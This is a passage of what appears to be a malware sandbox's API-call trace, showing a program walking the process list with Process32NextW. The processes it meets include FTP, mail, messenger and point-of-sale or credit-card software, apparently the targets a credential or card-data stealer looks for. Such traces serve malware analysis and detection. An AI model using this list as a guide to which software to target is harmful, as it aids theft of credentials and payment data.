th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0076.018] lstrlenW (lpString="explorer.exe") returned 12 [0076.018] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0076.018] lstrlenW (lpString="spoolsv.exe") returned 11 [0076.018] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.019] lstrlenW (lpString="svchost.exe") returned 11 [0076.019] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0076.019] lstrlenW (lpString="taskhost.exe") returned 12 [0076.019] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0076.020] lstrlenW (lpString="taskeng.exe") returned 11 [0076.020] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoken.exe")) returned 1 [0076.020] lstrlenW (lpString="spoken.exe") returned 10 [0076.020] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cut baby kind.exe")) returned 1 [0076.021] lstrlenW (lpString="cut baby kind.exe") returned 17 [0076.021] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="intelligence-jones.exe")) returned 1 [0076.021] lstrlenW (lpString="intelligence-jones.exe") returned 22 [0076.021] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="enterprises oscar hr.exe")) returned 1 [0076.022] lstrlenW (lpString="enterprises oscar hr.exe") returned 24 [0076.022] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="things apt speaker.exe")) returned 1 [0076.022] lstrlenW (lpString="things apt speaker.exe") returned 22 [0076.023] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="longest.exe")) returned 1 [0076.023] lstrlenW (lpString="longest.exe") returned 11 [0076.023] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="liberty.exe")) returned 1 [0076.024] lstrlenW (lpString="liberty.exe") returned 11 [0076.024] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="robust.exe")) returned 1 [0076.024] lstrlenW (lpString="robust.exe") returned 10 [0076.024] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="browse.exe")) returned 1 [0076.025] lstrlenW (lpString="browse.exe") returned 10 [0076.025] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accused_mem_exotic.exe")) returned 1 [0076.025] lstrlenW (lpString="accused_mem_exotic.exe") returned 22 [0076.025] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blocked.exe")) returned 1 [0076.026] lstrlenW (lpString="blocked.exe") returned 11 [0076.026] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="cope-characterization-larger.exe")) returned 1 [0076.026] lstrlenW (lpString="cope-characterization-larger.exe") returned 32 [0076.026] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="reno.exe")) returned 1 [0076.027] lstrlenW (lpString="reno.exe") returned 8 [0076.027] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="vancouver.exe")) returned 1 [0076.027] lstrlenW (lpString="vancouver.exe") returned 13 [0076.027] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="africa.exe")) returned 1 [0076.028] lstrlenW (lpString="africa.exe") returned 10 [0076.028] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ph-pos.exe")) returned 1 [0076.028] lstrlenW (lpString="ph-pos.exe") returned 10 [0076.029] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="johns inclusive alpine.exe")) returned 1 [0076.029] lstrlenW (lpString="johns inclusive alpine.exe") returned 26 [0076.029] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="peaceful.exe")) returned 1 [0076.030] lstrlenW (lpString="peaceful.exe") returned 12 [0076.030] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="louise_threshold.exe")) returned 1 [0076.030] lstrlenW (lpString="louise_threshold.exe") returned 20 [0076.030] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scannerhit.exe")) returned 1 [0076.031] lstrlenW (lpString="scannerhit.exe") returned 14 [0076.031] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0076.031] lstrlenW (lpString="3dftp.exe") returned 9 [0076.031] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0076.209] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0076.209] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0076.210] lstrlenW (lpString="alftp.exe") returned 9 [0076.210] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0076.210] lstrlenW (lpString="barca.exe") returned 9 [0076.210] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0076.211] lstrlenW (lpString="bitkinex.exe") returned 12 [0076.211] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0076.211] lstrlenW (lpString="coreftp.exe") returned 11 [0076.211] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0076.212] lstrlenW (lpString="far.exe") returned 7 [0076.212] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0076.212] lstrlenW (lpString="filezilla.exe") returned 13 [0076.212] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0076.213] lstrlenW (lpString="flashfxp.exe") returned 12 [0076.213] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0076.213] lstrlenW (lpString="fling.exe") returned 9 [0076.213] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0076.214] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0076.214] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0076.214] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0076.214] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0076.215] lstrlenW (lpString="icq.exe") returned 7 [0076.215] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0076.215] lstrlenW (lpString="leechftp.exe") returned 12 [0076.215] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0076.216] lstrlenW (lpString="ncftp.exe") returned 9 [0076.216] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0076.217] lstrlenW (lpString="notepad.exe") returned 11 [0076.217] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0076.218] lstrlenW (lpString="operamail.exe") returned 13 [0076.218] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0076.219] lstrlenW (lpString="pidgin.exe") returned 10 [0076.219] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0076.220] lstrlenW (lpString="scriptftp.exe") returned 13 [0076.220] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0076.221] lstrlenW (lpString="skype.exe") returned 9 [0076.221] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0076.221] lstrlenW (lpString="smartftp.exe") returned 12 [0076.221] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0076.222] lstrlenW (lpString="thunderbird.exe") returned 15 [0076.222] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0076.223] lstrlenW (lpString="totalcmd.exe") returned 12 [0076.223] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0076.224] lstrlenW (lpString="trillian.exe") returned 12 [0076.224] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0076.225] lstrlenW (lpString="webdrive.exe") returned 12 [0076.225] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0076.225] lstrlenW (lpString="whatsapp.exe") returned 12 [0076.225] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0076.226] lstrlenW (lpString="winscp.exe") returned 10 [0076.226] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0076.227] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0076.227] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0076.228] lstrlenW (lpString="active-charge.exe") returned 17 [0076.228] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0076.228] lstrlenW (lpString="accupos.exe") returned 11 [0076.228] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0076.229] lstrlenW (lpString="afr38.exe") returned 9 [0076.229] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0076.230] lstrlenW (lpString="aldelo.exe") returned 10 [0076.230] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0076.230] lstrlenW (lpString="ccv_server.exe") returned 14 [0076.231] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0076.231] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0076.231] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0076.232] lstrlenW (lpString="creditservice.exe") returned 17 [0076.232] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0076.233] lstrlenW (lpString="edcsvr.exe") returned 10 [0076.233] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0076.233] lstrlenW (lpString="fpos.exe") returned 8 [0076.233] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0076.234] lstrlenW (lpString="isspos.exe") returned 10 [0076.234] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0076.235] lstrlenW (lpString="mxslipstream.exe") returned 16 [0076.235] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0076.235] lstrlenW (lpString="omnipos.exe") returned 11 [0076.236] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0076.236] lstrlenW (lpString="spcwin.exe") returned 10 [0076.236] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0076.237] lstrlenW (lpString="spgagentservice.exe") returned 19 [0076.237] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0076.238] lstrlenW (lpString="utg2.exe") returned 8 [0076.238] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0076.239] lstrlenW (lpString="slope.exe") returned 9 [0076.239] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0076.240] lstrlenW (lpString="entered.exe") returned 11 [0076.240] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0076.241] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0076.241] Process32NextW (in: hSnapshot=0x1f8, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, 